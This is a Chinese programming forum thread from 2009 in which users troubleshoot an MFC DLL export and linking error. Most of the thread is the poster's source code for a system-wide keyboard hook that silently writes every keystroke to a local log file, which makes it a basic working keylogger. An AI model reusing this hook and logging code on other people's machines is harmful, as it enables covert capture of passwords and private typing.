本帖最后由 xsm 于 2009-08-06 10:20:45 编辑

解决方案 »

  1.   

    InstallLaunchEv()要在DLL里面导出的,__declspec(dllexport) 
      

  2.   

    已经导出了
    这是LaunchDLL.h文件
    // LaunchDLL.h : main header file for the LAUNCHDLL DLL
    //
    #define DllExport __declspec(dllexport) 
    DllExport void WINAPI InstallLaunchEv(); #if !defined(AFX_LAUNCHDLL_H__321B6C28_490A_49D1_8E1B_AEC8826D59A4__INCLUDED_)
    #define AFX_LAUNCHDLL_H__321B6C28_490A_49D1_8E1B_AEC8826D59A4__INCLUDED_#if _MSC_VER > 1000
    #pragma once
    #endif // _MSC_VER > 1000#ifndef __AFXWIN_H__
    #error include 'stdafx.h' before including this file for PCH
    #endif#include "resource.h" // main symbols/////////////////////////////////////////////////////////////////////////////
    // CLaunchDLLApp
    // See LaunchDLL.cpp for the implementation of this class
    //class CLaunchDLLApp : public CWinApp
    {
    public:
    CLaunchDLLApp();// Overrides
    // ClassWizard generated virtual function overrides
    //{{AFX_VIRTUAL(CLaunchDLLApp)
    //}}AFX_VIRTUAL //{{AFX_MSG(CLaunchDLLApp)
    // NOTE - the ClassWizard will add and remove member functions here.
    //    DO NOT EDIT what you see in these blocks of generated code !
    //}}AFX_MSG
    DECLARE_MESSAGE_MAP()
    };
    ///////////////////////////////////////////////////////////////////////////////{{AFX_INSERT_LOCATION}}
    // Microsoft Visual C++ will insert additional declarations immediately before the previous line.#endif // !defined(AFX_LAUNCHDLL_H__321B6C28_490A_49D1_8E1B_AEC8826D59A4__INCLUDED_)这是LaunchDLL.cpp 文件
    // LaunchDLL.cpp : Defines the initialization routines for the DLL.
    //#include "stdafx.h"
    #include "LaunchDLL.h"#ifdef _DEBUG
    #define new DEBUG_NEW
    #undef THIS_FILE
    static char THIS_FILE[] = __FILE__;
    #endif
    HHOOK Hook; 
    LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam); 
    void SaveLog(char* c); ///////////////////////////////////CLaunchDLLApp theApp; //
    // Note!
    //
    // If this DLL is dynamically linked against the MFC
    // DLLs, any functions exported from this DLL which
    // call into MFC must have the AFX_MANAGE_STATE macro
    // added at the very beginning of the function.
    //
    // For example:
    //
    // extern "C" BOOL PASCAL EXPORT ExportedFunction()
    // {
    // AFX_MANAGE_STATE(AfxGetStaticModuleState());
    // // normal function body here
    // }
    //
    // It is very important that this macro appear in each
    // function, prior to any calls into MFC.  This means that
    // it must appear as the first statement within the 
    // function, even before any object variable declarations
    // as their constructors may generate calls into the MFC
    // DLL.
    //
    // Please see MFC Technical Notes 33 and 58 for additional
    // details.
    ///////////////////////////////////////////////////////////////////////////////
    // CLaunchDLLAppBEGIN_MESSAGE_MAP(CLaunchDLLApp, CWinApp)
    //{{AFX_MSG_MAP(CLaunchDLLApp)
    // NOTE - the ClassWizard will add and remove mapping macros here.
    //    DO NOT EDIT what you see in these blocks of generated code!
    //}}AFX_MSG_MAP
    END_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////
    // CLaunchDLLApp constructionCLaunchDLLApp::CLaunchDLLApp()
    {
    // TODO: add construction code here,
    // Place all significant initialization in InitInstance
    }/////////////////////////////////////////////////////////////////////////////
    // The one and only CLaunchDLLApp objectCLaunchDLLApp theApp;
    DllExport void WINAPI InstallLaunchEv() 

    Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD, 
    (HOOKPROC)LauncherHook, 
    theApp.m_hInstance, 
    0); 
    } //////////////////////////////
    LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam) 

    LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam); 
    if(nCode==HC_ACTION) 

    if(lParam & 0x80000000) 

    char c[1]; 
    c[0]=wParam; 
    SaveLog(c); 


    return Result; 

    ///////////////////////////////////////////
    void SaveLog(char* c) 

    CTime tm=CTime::GetCurrentTime(); 
    CString name; 
    name.Format("d:\\txt.log",tm.GetMonth(),tm.GetDay()); 
    CFile file; 
    if(!file.Open(name,CFile::modeReadWrite)) 

    file.Open(name,CFile::modeCreate|CFile::modeReadWrite); 

    file.SeekToEnd(); 
    file.Write(c,1); 
    file.Close(); 
      

  3.   

    DLL程序应该是和主程序分开的,你的好像是在一起的啊。
    生成一个DLL工程,把SetWindowsHook和回调函数都放在DLL里,把执行SetWindowsHook的函数导出。
      

  4.   

    launchDLL.h和launchDLL.cpp是一起的,用于生成DLL,独立于KEYHOOD
      

  5.   

    你的launchdll头文件正确吗,有没有添加到工程里include进来。
      

  6.   

    再说你的头文件里也没有声明InstallLaunchEv这个函数啊。
      

  7.   

    有声明呀
    #define DllExport __declspec(dllexport) 
    DllExport void WINAPI InstallLaunchEv(); 这是LaunchDLL.H文件里声明的,在LaunchDLL.cpp里实现的呀
      

  8.   

    这个程序是有两部分的,因为我做全局钩子,所在要用DLL文件,我做好LAUNCHDLL这部分,是把DEBUG下面的LaunchDLL.dll文件拷贝到我的图形界面程序部分,如KEYHOOK的DEBUG下,而Launchdll.h launchdll.lib是拷到KEYHOOK的工程目录里面,然后在KEYHOOK的project->settings->link->object modules下填入Launchdll.lib,再通过Project->Add To Project->Files…将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用: #include "LaunchDLL.h" 
      

  9.   

    问题已经解决launchdll.h
    加入声明
    __declspec(dllexport)  void WINAPI InstallLaunchEv(); 
      

  10.   

    void CKeyHookView::OnInitialUpdate() 
    {    CView::OnInitialUpdate();
        InstallLaunchEv();   //我在这里用InstallLaunchEv()方法,这个方法定义在DLL里面的。
        // TODO: Add your specialized code here and/or call the base class
        
    }楼主,这样添加InstallLaunchEv(); 对吗?
    void CKeyHookView::OnInitialUpdate() 
    {    CView::OnInitialUpdate();
    ......
            // TODO: Add your specialized code here and/or call the base class
        
    }
    这部分代码是自己写的还是MFC生成的?